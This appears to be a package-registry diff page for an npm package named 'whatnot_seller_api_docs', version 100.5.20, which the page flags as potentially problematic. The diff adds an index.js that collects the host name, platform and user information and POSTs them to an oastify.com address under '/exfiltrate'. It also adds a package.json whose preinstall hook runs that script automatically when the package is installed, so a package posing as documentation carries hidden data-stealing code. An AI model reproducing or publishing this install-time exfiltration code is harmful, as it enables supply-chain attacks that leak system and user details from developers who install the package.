whatnot_seller_api_docs 100.5.20
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of whatnot_seller_api_docs might be problematic. Click here for more details.
- package/index.js +31 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
const data = JSON.stringify({
|
4
|
+
hostname: os.hostname(),
|
5
|
+
platform: os.platform(),
|
6
|
+
userInfo: os.userInfo(),
|
7
|
+
});
|
8
|
+
|
9
|
+
const options = {
|
10
|
+
hostname: 'm9w9jzklzi6jzvw1r140d5zngem5awyl.oastify.com',
|
11
|
+
port: 443,
|
12
|
+
path: '/exfiltrate',
|
13
|
+
method: 'POST',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'application/json',
|
16
|
+
'Content-Length': data.length
|
17
|
+
}
|
18
|
+
};
|
19
|
+
|
20
|
+
const req = https.request(options, (res) => {
|
21
|
+
res.on('data', (d) => {
|
22
|
+
process.stdout.write(d);
|
23
|
+
});
|
24
|
+
});
|
25
|
+
|
26
|
+
req.on('error', (e) => {
|
27
|
+
console.error(e);
|
28
|
+
});
|
29
|
+
|
30
|
+
req.write(data);
|
31
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "whatnot_seller_api_docs",
|
3
|
+
"version": "100.5.20",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"description": ""
|
13
|
+
}
|